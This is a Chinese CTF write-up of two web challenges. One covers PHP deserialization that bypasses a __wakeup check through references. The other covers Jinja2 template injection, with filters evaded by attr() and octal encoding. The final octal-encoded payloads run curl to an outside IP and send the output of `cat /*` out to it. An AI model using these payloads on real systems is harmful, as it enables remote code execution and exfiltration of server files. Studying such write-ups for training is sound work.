[dasctf7月]newer
建议参考jacko神:https://www.wolai.com/7MymbpgzhHWMdAoh2Ycb89
这个题很快发现cookie处可以反序列化,但是也很快发现没啥可以rce
当时想的是反序列化原生类,但是很快想起实现不了
最后看了jacko神的wP,原来是composer.json
{
"require": {
"fakerphp/faker": "^1.19",
"opis/closure": "^3.6"
}
}
有个闭包和fakerphp/faker
题目不太可能让我们直接挖fakerphp/faker+opis/closure的0day(可以看到是最新版),然后又想到开篇给了我们一个类,所以这个类就是入口!有这个类以后,后面就可以pop
很敏感的得到echo "User ".$this->instance->_username." has created.";是入口,因为其他都是$this->某某,在没有触发__toString
和__call
的可能下,长度不够,我没法塞一个新的类上去,所以只能找$this->instance->_username
,他有可能触发get方法
后面复现可以直接看jacko神的wp,但是有个里面点很容易看不懂,我们讲一下——引用
example
class a
{
public $key;
public function __construct()
{
$this->key = new b();
echo "A is constructed! ";
echo "<hr>";
}
public function __wakeup(){
echo "a unserialize! ";
}
}
class b{
public $eval;
public function __construct()
{
echo "B is contructed! ";
}
public function __wakeup(){
if($this->eval != "secure")
$this->eval = "secure";
echo "b unserialize! ";
}
}
这个时候你new a();的话,可以看到先new的B再new的A
而如果你序列化后反序列化的话
$class1 = new a();
echo serialize($class1);
//O:1:"a":1:{s:3:"key";O:1:"b":0:{}}
unserialize('O:1:"a":1:{s:3:"key";O:1:"b":0:{}}');
反序列化之后,马上可以看到还是先触发的B的wakeup,再触发A的wakeup,也是先B后A
我们都知道有这个wakeup限制的化,我给B->eval提前赋值是无效的,都会变成"secure"。这里有个漏洞,就是假如我B->eval=&某某类的属性。那么这个某某类的属性和B->eval的确会被变成"secure",但是刚刚说了先B后A,若 某某类的属性
如果是A的属性的话,由于A还没被new出来,那么后面我们如果在new A的过程中会改变A的属性,就可以同时改变B->eval
demo
<?php
class a
{
public $key;
public $apple;
public function __construct()
{
$this->key = new b();
echo "A is constructed! ";
echo "<hr>";
}
public function __wakeup(){
echo "a unserialize! ";
//$this->apple = "Hacked!";
echo "<hr>";
echo $this->key->eval;
}
}
class b{
public $eval;
public function __construct()
{
echo "B is contructed! ";
}
public function __wakeup(){
if($this->eval != "secure")
$this->eval = "secure";
echo "b unserialize! ";
}
}
但是如果我们让a的wakeup变成这样
public function __wakeup(){
echo "a unserialize! ";
$this->apple = "Hacked!";
echo "<hr>";
echo $this->key->eval;
}
然后
$class1 = new a();
//$class1->apple = "Hacked!";
$class1->key->eval = &$class1->apple;
echo serialize($class1);
接着把结果反序列化的话
demo
<?php
class a
{
public $key;
public $apple;
public function __construct()
{
$this->key = new b();
echo "A is constructed! ";
echo "<hr>";
}
public function __wakeup(){
echo "a unserialize! ";
$this->apple = "Hacked!";
echo "<hr>";
echo $this->key->eval;
}
}
class b{
public $eval;
public function __construct()
{
echo "B is contructed! ";
}
public function __wakeup(){
if($this->eval != "secure")
$this->eval = "secure";
echo "b unserialize! ";
}
}
//new 对象是先B后A
//new a();
$class1 = new a();
//$class1->apple = "Hacked!";
$class1->key->eval = &$class1->apple;
echo serialize($class1);
//O:1:"a":1:{s:3:"key";O:1:"b":0:{}}
//O:1:"a":2:{s:3:"key";O:1:"b":1:{s:4:"eval";N;}s:5:"apple";N;}
//O:1:"a":2:{s:3:"key";O:1:"b":1:{s:4:"eval";N;}s:5:"apple";R:3;}
unserialize('O:1:"a":2:{s:3:"key";O:1:"b":1:{s:4:"eval";N;}s:5:"apple";R:3;}');
有个易混淆的点就是
$class1 = new a();
//$class1->apple = "Hacked!";
//apple不可以在外面得到赋值
$class1->key->eval = &$class1->apple;
echo serialize($class1);
这个值必须在
public function __wakeup(){
echo "a unserialize! ";
$this->apple = "Hacked!";
//apple必须在这里赋值
echo "<hr>";
echo $this->key->eval;
}
[dasctf7月]Hard_disk
发现post数据会有回显,一般这种情况就尝试有无ssti和xss,
当尝试{{}}时,会被过滤
当
nickname={%25if(1==2)%25}1{%25endif%25}
的时候呢,1==1可以回显1,1==2不会回显,证明可以ssti
有一条payload
thai.__init__.__globals__.__builtins__.__import__('os').popen('whoami').read()
但是点,单引号被过滤,下划线被过滤
点用attr代替,单引号用双引号代替,下划线用编码绕过
转八进制绕过,脚本如下
strr = "__init__"
flag = ""
for a in strr:
#print(str(oct(ord(a))))
flag = flag + '/'+str(oct(ord(a)))[2:]
print(flag)
直接使用.__import__('os').popen('whoami').read()
并不会回显,返回Exception,这里直接反弹shell
一开始尝试bash,发现好像没用,尝试curl,有回显的
payload
nickname={%25if(thai|attr("\137\137\151\156\151\164\137\137")|attr("\137\137\147\154\157\142\141\154\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\137\137\142\165\151\154\164\151\156\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\145\166\141\154")("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\143\165\162\154\40\150\164\164\160\72\57\57\70\56\61\62\71\56\64\62\56\61\64\60\72\63\63\60\67\47\51\56\162\145\141\144\50\51"))%25}1{%25endif%25}
之后就可以轻松使用反引号cat /flag了
nickname={%25if(thai|attr("\137\137\151\156\151\164\137\137")|attr("\137\137\147\154\157\142\141\154\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\137\137\142\165\151\154\164\151\156\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\145\166\141\154")("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\143\165\162\154\40\150\164\164\160\72\57\57\70\56\61\62\71\56\64\62\56\61\64\60\72\63\63\60\67\77\143\155\144\75\140\143\141\164\40\57\52\140\47\51\56\162\145\141\144\50\51"))%25}1{%25endif%25}